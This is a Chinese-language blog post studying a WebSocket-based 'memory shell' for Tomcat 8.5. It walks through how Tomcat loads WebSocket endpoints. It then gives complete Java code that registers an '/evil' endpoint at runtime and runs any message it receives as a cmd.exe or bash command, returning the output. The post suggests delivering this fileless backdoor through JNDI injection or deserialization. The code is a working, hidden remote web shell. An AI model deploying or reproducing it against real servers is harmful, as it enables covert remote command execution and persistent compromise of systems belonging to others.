tnnd,文章写的太垃圾,投稿不收 😦,看到新型内存马项目,学习一下,项目地址:https://github.com/veo/wsMemShell
websocket类型内存马的学习,环境:Tomcat 8.5 + JDK1.8
先读这一篇前置知识文章:WebSocket通信原理和在Tomcat中实现源码详解
Tomcat7早期版本7.0.47之前还没有出 JSR356标准时,自己实现了一套接口,支持websocket。后来Tomcat7.0.47版本废弃自定义的API,实现了JSR356标准。
根据JSR356规定, 建立WebSocket连接的服务器端和客户端,两端对称,抽象成API,就是一个个Endpoint(端点),只不过服务器端的叫 ServerEndpoint,客户端的叫 ClientEndpoint。客户端向服务端发送WebSocket握手请求,建立连接后就创建一个ServerEndpoint对象。
tomcat中存在两种方式:一、ServerEndpoint注解方式。二、继承抽象类Endpoint方式。这里利用注解方式来进行实现
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
@ServerEndpoint(value = "/websocket")
public class WebSocket{
private Session session;
@OnOpen
public void start(Session session) {
this.session = session;
this.session.getAsyncRemote().sendText("websocket strt");
}
@OnClose
public void end() {
System.out.println("websocket close");
}
@OnMessage
public void incoming(String message) {
this.session.getAsyncRemote().sendText("websocket recievd: "+message);
}
@OnError
public void onError(Throwable t) {
System.out.println("websocket error");
}
}
关于继承抽象类Endpoint的方式,需要自己实现 MessageHandler 和 ServerApplicationConfig
MessageHandler 用于处理消息,ServerApplicationConfig用于处理URI映射。
Tomcat通过 org.apache.tomcat.websocket.server.WsSci 专门对 websocket 进行初始化以及加载,该类实现了接口
javax.servlet.ServletContainerInitializer ,该接口是Servlet 3.0规范中定义的用来接收Web应用启动事件的接口,简称为SCI加载机制。该机制在Tomcat部署装载Web项目 org.apache.catalina.core.StandardContext#startInternal 时主动触发 ServletContainerInitializer#onStartup,做一些扩展的初始化操作。
WsSci会将 **HandlesTypes注解 **指定的类扫描出来,并 创建WebSocketContainer容器,将扫描的类添加到容器中。扫描的类如下
调试一下,扫描到刚才自定义的 ServerEndpoint,创建WebSocketContainer容器,这里用的是 WsServerContainer 类
在 WsServerContainer 的构造函数中为ServletContext添加了一个 org.apache.tomcat.websocket.server.WsFilter 类型的Filter用来处理websocket的请求
回到SCI中,定义三个set集合针对扫描到的三种不同类
三个if对不同类型进行添加
又重新定义了 两个集合 filteredEndpointConfigs 和 filteredPojoEndpoints,如果 serverApplicationConfigs 为空即不存在以继承抽象类Endpoint的方式编写的类,将注释方式的类添加 filteredPojoEndpoints 中,else中不在赘述。
通过 addEndpoint 添加到WebSocketContainer容器中,两种websocket实现方式调用的addEndpoint也不相同
定义 ServerEndpointConfig 变量,然后获取 ServerEndpoint 的路径
最后调用一堆方法去构造出 ServerEndpointConfig 对象。
再次调用addEndpoint,传入ServerEndpointConfig 等配置对象,这里很明显能看出通过 PojoMethodMapping 类去解析配置信息,获取OnClose、OnOpen等方法,添加到 ServerEndpointConfig 对象中
接下来通过UriTemplate去处理映射的路由路径,对path进行是否重复的检查,把path和其ServerEndpointConfig对象添加到 configExactMatchMap 中
至此完成添加一个ServerEndpoint。
关于WsFilter,当服务器接收到来自客户端的请求时,首先WsFilter会判断该请求是否是一个WebSocket Upgrade请求(即包含Upgrade: websocket头信息)。如果是,则根据请求路径查找对应的Endpoint处理类。只需要知道WsFilter用来处理websocket请求,对应的EndPoint进行处理即可。
实现思路类比其他类型内存马
websocket.java
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class wssocket extends Endpoint {
static{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(wssocket.class, "/evil").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
private Session session;
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(new MessageHandler());
}
private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
@Override
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
可搭配 JNDI注入、反序列化等注入内存
https://mp.weixin.qq.com/s/T3UfA1plrlG-e9lgfB4whg
https://www.freebuf.com/articles/web/339361.html